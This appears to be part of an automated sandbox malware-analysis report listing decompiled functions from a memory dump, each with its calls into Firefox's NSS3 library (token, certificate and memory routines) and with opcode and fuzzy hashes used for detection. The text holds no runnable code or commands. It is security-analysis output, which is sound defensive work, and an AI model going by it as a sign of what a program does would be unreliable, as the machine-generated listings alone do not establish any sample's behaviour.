TlsGetValue.KERNEL32(6CE75ADC,?,00000000,00000001,?,?,00000000,?,6CE6BA55,?,?), ref: 6CE9FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE9FE5F
PR_Unlock.NSS3(78831D74), ref: 6CE9FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CE9FED6

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: d97f76820cd1828eb059e8b74b713ba30c7458e68290672988cbb8adb340e552
Instruction ID: c93191a130f45076204dc74a9274a4e59b412b85666da0a7bef3c97bbfa60a41
Opcode Fuzzy Hash: d97f76820cd1828eb059e8b74b713ba30c7458e68290672988cbb8adb340e552
Instruction Fuzzy Hash: 03212331E00615ABDB50AF65E8447AAB7B4FF053ACF240128ED04A7F42E739E964CBD1

Function 6CEA3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA3440: PK11_GetAllTokens.NSS3 ref: 6CEA3481
Part of subcall function 6CEA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEA34A3
Part of subcall function 6CEA3440: TlsGetValue.KERNEL32 ref: 6CEA352E
Part of subcall function 6CEA3440: EnterCriticalSection.KERNEL32(?), ref: 6CEA3542
Part of subcall function 6CEA3440: PR_Unlock.NSS3(?), ref: 6CEA355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FFE
PR_SetError.NSS3 ref: 6CEA401A

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 963055357bcea8b0680d33bc197f1e86f8b8c66cc244c3d9c1da892747f425d9
Instruction ID: 7a7ce626f1142650ab3caadada9a402204279c6c1477e96b4dc3334018f3fb86
Opcode Fuzzy Hash: 963055357bcea8b0680d33bc197f1e86f8b8c66cc244c3d9c1da892747f425d9
Instruction Fuzzy Hash: 3A317274904704CFD750AF69D08426EBBF0FF88358F21592ED9858B700EB30E885CB92

Function 6CE94FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE95003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE9501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE9504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE95064

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 2a163b29496dc87da06d7a023f57c58ccd34ebf24fb974dd776755725f856407
Instruction ID: 03be515711536ffe10c77492b1255cd0724e302315f79884625d8aa4f27c87f1
Opcode Fuzzy Hash: 2a163b29496dc87da06d7a023f57c58ccd34ebf24fb974dd776755725f856407
Instruction Fuzzy Hash: 3B3127B4A05606CFDB40EF68D48466ABBF4FF08348F218629E859D7701E731E890CB91

Function 6CEB9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEBA71A,FFFFFFFF,?,?), ref: 6CEB9FAB

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CEBA71A,6CEBA71A,00000000), ref: 6CEB9FD9

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB136A
Part of subcall function 6CEB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB137E
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?), ref: 6CEB13CF
Part of subcall function 6CEB1340: PR_Unlock.NSS3(?,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEBA71A,6CEBA71A,00000000), ref: 6CEBA009
PR_SetError.NSS3(FFFFE013,00000000,6CEBA71A,6CEBA71A,00000000), ref: 6CEBA045

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 639728051f32dd69fa9223c0d371a87bd5b36ad2fbe88fab39f50ff74e65d709
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: F121B0B4600206ABFB009F55DD40F76B7B9FB8536CF20812C982997B91EB75E818CB90

Function 6CEC2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC2E08

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEC2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEC2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEC2E95

Part of subcall function 6CEB1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB1228
Part of subcall function 6CEB1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CEB1238
Part of subcall function 6CEB1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB124B
Part of subcall function 6CEB1200: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0,00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB125D
Part of subcall function 6CEB1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CEB126F
Part of subcall function 6CEB1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CEB1280
Part of subcall function 6CEB1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CEB128E
Part of subcall function 6CEB1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CEB129A
Part of subcall function 6CEB1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CEB12A1

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 9114a84c911a13e526a5656763b32b3ad22df9fa61595ab33486b847580e053c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 8E21D7B1E003454BE701CF549E447AA37746FA135CF311269DD187B742F7B2E5948293

Function 6CE7ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE7ACC2

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

Part of subcall function 6CE52AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE50A1B,00000000), ref: 6CE52AF0
Part of subcall function 6CE52AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE52B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE7AD5E

Part of subcall function 6CE957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE5B41E,00000000,00000000,?,00000000,?,6CE5B41E,00000000,00000000,00000001,?), ref: 6CE957E0
Part of subcall function 6CE957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE95843

CERT_DestroyCertList.NSS3(?), ref: 6CE7AD36

Part of subcall function 6CE52F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE52F65
Part of subcall function 6CE52F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE52F83

free.MOZGLUE(?), ref: 6CE7AD4F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: ce912e130f5cd9b159324b50f7ab6499c51b870011e103f8319c23b1546ecfcf
Instruction ID: 650c75e0592796335d5b737cd200cf30c3d33f7f6786e224a9bb017bbf63f1f7
Opcode Fuzzy Hash: ce912e130f5cd9b159324b50f7ab6499c51b870011e103f8319c23b1546ecfcf
Instruction Fuzzy Hash: 0821C6B1D002048BEB20DFA4E9065EEB7B4AF1524CF655068D8057B700F732EA55CBB2

Function 6CEA3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CEA3CAE
PR_Unlock.NSS3(?), ref: 6CEA3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3D02

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5dfb39fe639ce234809a4f52bc5dd58714a33f2bb4a1759907d394f0edea9181
Instruction ID: c94b3a2068d1b877dd6015c154c89a89a50675b50f900fedd76e672bb7b7c722
Opcode Fuzzy Hash: 5dfb39fe639ce234809a4f52bc5dd58714a33f2bb4a1759907d394f0edea9181
Instruction Fuzzy Hash: C111B479E00204AFDB40AF64EC48A9A3778EF09368F254164ED049B712E731ED45CBE1

Function 6CEAECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CEAF0AD,6CEAF150,?,6CEAF150,?,?,?), ref: 6CEAECBA

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CEAECD1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CEAED02

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CEAED5A

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 1ef62e992804b61836b8cce625fb3bceaf5ec84001facd994d3d8ed30beb838c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 1121C2B1A00B425FE700CF25DA44B62B7F4AFA430CF258219E81C8B761E770E5A5C6D0

Function 6CEDEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEE14

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

memcpy.VCRUNTIME140(?,?,6CEC9767,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEE33

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: e58d4a09192306fb5b4d80331085bf2aaa6a1677f0bc5757d0e6c22397902bf5
Instruction ID: 77f5a325dbe0d6015083aba68a2b4aaecae824ed679691ef0e6041dbb9fa5117
Opcode Fuzzy Hash: e58d4a09192306fb5b4d80331085bf2aaa6a1677f0bc5757d0e6c22397902bf5
Instruction Fuzzy Hash: C71182B1A00B07ABE7109E65DD88B06F3B8EB0035DF314525ED1983A40E731F45587E1

Function 6CE5DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CE706A0: TlsGetValue.KERNEL32 ref: 6CE706C2
Part of subcall function 6CE706A0: EnterCriticalSection.KERNEL32(?), ref: 6CE706D6
Part of subcall function 6CE706A0: PR_Unlock.NSS3 ref: 6CE706EB

CERT_NewCertList.NSS3 ref: 6CE5DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE5DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE5DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5E029

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 2dc387fa1aec94ef8d0f0b2477b1221d8b26a5ac07882f7aa3aaba9b0e199ab4
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 12116F71A00A066BEB101EA85C00BAB76B8EB4535CFB40538E918C7B00F73BC83593E1

Function 6CE78DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE78DE7
EnterCriticalSection.KERNEL32 ref: 6CE78DFC
PR_Unlock.NSS3 ref: 6CE78E2D
PR_SetError.NSS3 ref: 6CE78E49

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b6076d23ffc3bc005e8bb6c0a3988a59025e1ad9b6288fb7dc07a277bb530b5a
Instruction ID: 0d461c4e0c8b837ec7a5c131f338c96f899d6570d69a83fffc061a7a56302231
Opcode Fuzzy Hash: b6076d23ffc3bc005e8bb6c0a3988a59025e1ad9b6288fb7dc07a277bb530b5a
Instruction Fuzzy Hash: 9A11BF71A04A009BD750AF78D488269BBF4FF05354F11492ADC88D7B00E730E854CBD2

Function 6CEFAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CEE5F17,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CEE5F17,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACDB

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 2cd32886af99f5070fdbf9ccf46a07aacb750365788d927efb5f6de562c4aef5
Instruction ID: c32a31b160031a7d45b2f65ad2e870ff67f71ecc9e1a0bf8ccb912d318c1befb
Opcode Fuzzy Hash: 2cd32886af99f5070fdbf9ccf46a07aacb750365788d927efb5f6de562c4aef5
Instruction Fuzzy Hash: 7E018CB5B01B029BE750DF69E918757B7F8BF00659B204839D86AC7B00E731F015CB90

Function 6CE61DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE61DFB

Part of subcall function 6CE595B0: TlsGetValue.KERNEL32(00000000,?,6CE700D2,00000000), ref: 6CE595D2
Part of subcall function 6CE595B0: EnterCriticalSection.KERNEL32(?,?,?,6CE700D2,00000000), ref: 6CE595E7
Part of subcall function 6CE595B0: PR_Unlock.NSS3(?,?,?,?,6CE700D2,00000000), ref: 6CE59605

PR_EnterMonitor.NSS3 ref: 6CE61E09

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CE5E190: PR_EnterMonitor.NSS3(?,?,6CE5E175), ref: 6CE5E19C
Part of subcall function 6CE5E190: PR_EnterMonitor.NSS3(6CE5E175), ref: 6CE5E1AA
Part of subcall function 6CE5E190: PR_ExitMonitor.NSS3 ref: 6CE5E208
Part of subcall function 6CE5E190: PL_HashTableRemove.NSS3(?), ref: 6CE5E219
